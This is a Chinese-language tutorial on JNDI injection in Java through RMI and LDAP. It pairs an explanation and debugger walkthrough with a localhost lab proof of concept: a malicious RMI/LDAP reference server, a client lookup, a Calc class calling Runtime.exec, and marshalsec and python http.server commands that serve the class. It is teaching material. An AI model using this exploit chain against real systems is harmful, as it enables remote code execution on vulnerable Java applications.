一文读懂JNDI-RMI、LDAP注入分析
JNDI介绍
JNDI 的全称是 Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
LDAP、DNS、NIS、NDS、RMI、CORBA
在JNDI中提供了绑定和查找的方法:
- bind:将名称绑定到对象中;
- lookup:通过名字检索执行的对象;
下面从两种服务来理解jndi注入。
RMI介绍
RMI 的全称是 Rmote Method Invocation,远程方法调用。具体实现的过程是:远程服务器提供具体的类和方法,本地客户端会通过某种方式获得远程类的一个代理,然后通过这个代理调用远程对象的方法。方法的参数是通过序列化和反序列化的方式传递的。
本地客户端获取远程类的代理的方式是,借助了 Registry (注册中心)
其中 Server 和 Registry 可以放在同一个服务器上,也可以布置在不同的服务器上。
RMI 流程:
- Registry 首先启动,并监听一个端口,一般是1099
- Server 向 Registry 注册远程对象
- Client 从 REgistry 获取远程对象的代理
- Client 通过这个代理调用远程对象的方法
- Server 端的代理接收到 Client 端调用的方法,参数,Server 端执行相对应的方法
- Server 端的代理将执行结果返回给 Client 端代理
JNDI之RMI
JDK版本为1.7.0_13
简单看一段代码
public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用 initialContext.lookup(uri);//获取指定的远程对象 }
这段代码可以明显看出来,要想实现jndi注入的利用只要在initialContext.lookup(uri)的位置实现uri可控就可以调用远程恶意类实现RCE。
Server.java
服务端首先起一个注册中心的端口1099,rmi服务默认端口为1099
package jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry; public class Server { public static void main(String[] args) throws Exception{ Registry registry= LocateRegistry.createRegistry(1099); Reference reference = new Reference("Calc", "Calc", "http://localhost/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc", wrapper); }}
Client.java
package jndi; import javax.naming.InitialContext; public class Client { public static void main(String[] args) throws Exception{ new InitialContext().lookup("rmi://localhost:1099/calc"); }}
恶意类Calc.java
import java.lang.Runtime; public class Calc { public Calc() throws Exception{ Runtime.getRuntime().exec("calc"); }}
分析
debug调试服务端
服务端注册中心起监听端口1099,创建Refernence一个对象,Reference对象中指定从远程加载构造的恶意Factory类,new对象的时候需要className,factory和factoryLocation,并将其绑定到RMI服务器上
debug启动客户端,F7跟进
在GenericURLContext类96行通过RMI服务查找名字为calc的stub
继续向下跟进lookup,在RegistryContext类中该函数判断var1和var2
这里89行的的var为建立socket连接时的远程地址,在98行跟进RegistryContext类
在342行跟进到NamingManager类,继续向下在getObjectInstance方法中获取工厂类对象
在319行调用了getObjectFactoryFromReference方法,发现通过getObjectFactoryFromReference方法调用恶意类
继续F7
首先会本地查找,获取到codebase后远程调用,见158行
在158行加载恶意类,在168行使用newInstance`方法实例化对象。到这里我们可以看到整个过程的调用栈为
JDK版本为1.8.0_202
在执行客户端的时候报错,由于此jdk版本的com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类。
JNDI之LDAP
因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
客户端代码client.java
package jndi; import javax.naming.InitialContext; public class Client { public static void main(String[] args) throws Exception{ new InitialContext().lookup("ldap://localhost:1389/Calc"); }}
python起web服务
python3 -m http.server 80
使用marshalsec启动LDAP服务
java -cp C:\Users\Administrator\Desktop\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Calc
启动客户端,调用远程恶意类
调用栈如下图
基本上rmi调用栈一致,原理上没有什么差别,都是基于lookup()方法可控。
弹出计算器
参考链接
https://blog.csdn.net/dupei/article/details/120534024
https://cloud.tencent.com/developer/article/1942500
https://blog.csdn.net/weixin_45682070/article/details/121888247?spm=1001.2101.3001.6650.4&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-4-121888247-blog-106697014.pc_relevant_recovery_v2&utm_relevant_index=8
https://xz.aliyun.com/t/7264
